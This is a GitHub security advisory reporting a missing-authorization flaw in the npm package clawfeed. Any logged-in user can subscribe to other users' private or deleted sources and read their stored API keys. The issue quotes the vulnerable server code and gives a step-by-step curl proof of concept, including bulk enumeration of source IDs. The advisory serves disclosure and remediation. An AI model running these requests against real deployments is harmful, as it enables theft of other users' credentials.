Skip to content

[SECURITY] Broken access control on subscriptions — any user can subscribe to private sources and leak credentials from config #53

@aliceQWAS

Description

@aliceQWAS

Summary

The POST /api/subscriptions and POST /api/subscriptions/bulk endpoints allow any authenticated user to subscribe to any source by ID, including private and soft-deleted sources. Once subscribed, the user receives the full source details including the config field, which may contain API keys, authentication tokens, and internal endpoint URLs.

Details

Single subscribe at server.mjs:590-597:

if (req.method === 'POST' && path === '/api/subscriptions') {
  const body = await parseBody(req);
  if (!body.sourceId) return json(res, { error: 'sourceId required' }, 400);
  const source = getSource(db, body.sourceId);
  if (!source) return json(res, { error: 'source not found' }, 404);
  subscribe(db, req.user.id, body.sourceId);
  return json(res, { ok: true });
}

The endpoint checks that the source exists but does NOT verify:

  • source.is_public — allows subscribing to private sources
  • source.is_deleted — allows subscribing to deleted sources
  • source.created_by === req.user.id — allows subscribing to other users' private sources

Bulk subscribe at server.mjs:600-606:

if (req.method === 'POST' && path === '/api/subscriptions/bulk') {
  const body = await parseBody(req);
  const added = bulkSubscribe(db, req.user.id, body.sourceIds);
  return json(res, { ok: true, added });
}

The bulk endpoint performs zero access control checks on the source IDs.

Subscription list leaks full config at db.mjs:371-379:

export function listSubscriptions(db, userId) {
  return db.prepare(`
    SELECT s.*, us.created_at as subscribed_at, ...
    FROM user_subscriptions us
    JOIN sources s ON us.source_id = s.id
  `).all(userId);
}

SELECT s.* returns ALL columns including config.

PoC

Prerequisites: Two user accounts — Alice (victim with private sources) and Attacker.

# Step 1: Alice creates a private source with sensitive config
curl -X POST http://localhost:8767/api/sources \
  -H "Cookie: session=<alice_session>" \
  -H "Content-Type: application/json" \
  -d '{"name":"My Private API","type":"custom_api","config":"{\"endpoint\":\"https://api.internal.company.com/data\",\"headers\":{\"Authorization\":\"Bearer sk-secret-12345\",\"X-API-Key\":\"private-key-abc\"}}","isPublic":false}'

# Returns: {"id":2}

# Step 2: Attacker subscribes to Alice's private source by ID
curl -X POST http://localhost:8767/api/subscriptions \
  -H "Cookie: session=<attacker_session>" \
  -H "Content-Type: application/json" \
  -d '{"sourceId":2}'

# Returns: {"ok":true}

# Step 3: Attacker reads the leaked config
curl -s http://localhost:8767/api/subscriptions \
  -H "Cookie: session=<attacker_session>" | python3 -m json.tool

Expected output:

[{
  "id": 2,
  "name": "My Private API",
  "type": "custom_api",
  "config": "{\"endpoint\":\"https://api.internal.company.com/data\",\"headers\":{\"Authorization\":\"Bearer sk-secret-12345\",\"X-API-Key\":\"private-key-abc\"}}",
  "is_public": 0,
  "is_deleted": 0,
  "created_by": 100,
  "subscribed_at": "2026-03-15 12:00:00"
}]

The attacker now has Alice's API keys (sk-secret-12345, private-key-abc) and the internal endpoint URL.

Bulk enumeration variant:

# Subscribe to sources 1-10 in one request — no per-source access checks
curl -X POST http://localhost:8767/api/subscriptions/bulk \
  -H "Cookie: session=<attacker_session>" \
  -H "Content-Type: application/json" \
  -d '{"sourceIds":[1,2,3,4,5,6,7,8,9,10]}'

# Returns: {"ok":true,"added":8}
# Attacker is now subscribed to all existing sources including private ones

Impact

Any authenticated user can access any other user's private source configurations by subscribing to their source IDs. Source configs may contain API keys, Bearer tokens, authentication headers, and internal endpoint URLs. The bulk subscribe endpoint enables rapid enumeration of all sources in the system. Soft-deleted sources (which users believe are removed) remain accessible.

Affected products

  • Ecosystem: npm
  • Package name: clawfeed
  • Affected versions: <= 0.8.1
  • Patched versions: None

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Weaknesses

  • CWE-862: Missing Authorization
  • CWE-639: Authorization Bypass Through User-Controlled Key

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions